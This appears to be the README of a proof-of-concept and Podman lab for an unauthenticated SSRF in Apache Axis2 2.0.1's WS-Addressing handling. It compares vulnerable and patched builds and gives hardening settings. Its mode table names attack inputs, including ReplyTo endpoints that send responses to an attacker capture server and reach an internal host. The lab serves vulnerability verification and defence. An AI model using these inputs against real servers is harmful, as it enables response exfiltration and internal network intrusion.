
Proof-of-concept and Podman lab for CVE-2026-123753, an unauthenticated SSRF in Apache Axis2 WS-Addressing ReplyTo/FaultTo endpoints, with vulnerable vs patched verification.
Apache Axis2/Java WS-Addressing wsa:ReplyTo / wsa:FaultTo unauthenticated SSRF (fixed in 2.0.2).
An unauthenticated caller ships a non-anonymous wsa:ReplyTo (or wsa:FaultTo) endpoint reference. On the 2.0.1 code path AddressingInHandler extracts that EPR without any screening, so once the message is processed the engine opens a new server-side connection to the caller-chosen address to deliver the response — or the fault. The caller picks where the server connects (SSRF) and receives the full SOAP response body at a host of their choosing (response exfiltration). No credentials, WS-Security, or deployment quirks are required: the stock axis2.war engages <module ref="addressing"/> out of the box.
Fix (commits 1671a686 / 1b6856b4, released in 2.0.2): a AddressingResponseEndpointPolicy screens inbound response endpoints at both the header-parsing and the transport-selection layers; allowNonAnonymousResponseEndpoints defaults to false, and permitted endpoints are restricted by scheme (https only by default) and, when re-enabled, by private-range/allow-list checks.
Podman network axis2lab (10.90.0.0/24); every container is bounded (--cpus 2 --memory 4g).
| container | role | host port |
|---|---|---|
axis2-vuln | Axis2 2.0.1 (Tomcat 10.1, stock axis2.xml) | 28080 |
axis2-fixed | Axis2 2.0.2 (control) | 28081 |
internal (10.90.0.20) | internal-only mock service (instance-metadata style, logs every hit) | 28082 |
attacker (10.90.0.30) | capture server — logs full HTTP requests, GET /logs JSON | 28888 |
A small EchoService POJO is deployed on both targets so the decoupled response carries caller-controlled data, which makes the exfiltrated body unambiguous. The stock Version service is left in place.
make prepare # fetch + explode the official 2.0.1/2.0.2 WARs, build echo.aar
make up # build images, start the lab
make poc-vuln # 3/3 VULNERABLE
make poc-fixed # 3/3 PATCHED (refused, no egress)
make down
PoC modes (poc/poc.py):
| mode | request | proof |
|---|---|---|
replyto-attacker | wsa:ReplyTo = http://attacker:8888/capture | sync HTTP 202 (empty); attacker receives POST /capture whose body is the full SOAP response, echo marker included |
replyto-internal | wsa:ReplyTo = http://10.90.0.20/secret | the internal mock logs POST /secret from the Axis2 server — the pivot reached the internal network |
faultto-attacker | bogus operation + wsa:FaultTo = http://attacker:8888/capture/fault | sync HTTP 500; the fault message is delivered to the FaultTo EPR |
Exit codes: 0 = results match expectation (vuln vulnerable / fixed patched), 2/3 = mismatch. --target/--mode select individual combinations.
evidence/vulnerable-run.txt — full PoC run against 2.0.1: 3/3 vulnerable.evidence/patched-run.txt — same run against 2.0.2: 3/3 patched, capture logs empty.evidence/captured-decoupled-response.txt — the raw HTTP request Axis2 2.0.1 sent to the attacker endpoint (User-Agent: Axis2), body carrying the SOAP response.evidence/patched-server-refusal.log — server side of the fixed run: the header-parsing layer rejects the EPR and the transport layer refuses the send.exposeServiceMetadata=false, the 2.0.1 services listing (GET /axis2/services/listServices) still enumerates deployed services while the ?wsdl/?xsd/?policy routes correctly return 403 — lab/f5/ holds the A/B config.allowNonAnonymousResponseEndpoints=true only with blockPrivateNetworkResponseEndpoints=true and an explicit allowedResponseEndpointHosts allow-list, and prefer pinning allowedResponseEndpointSchemes to https.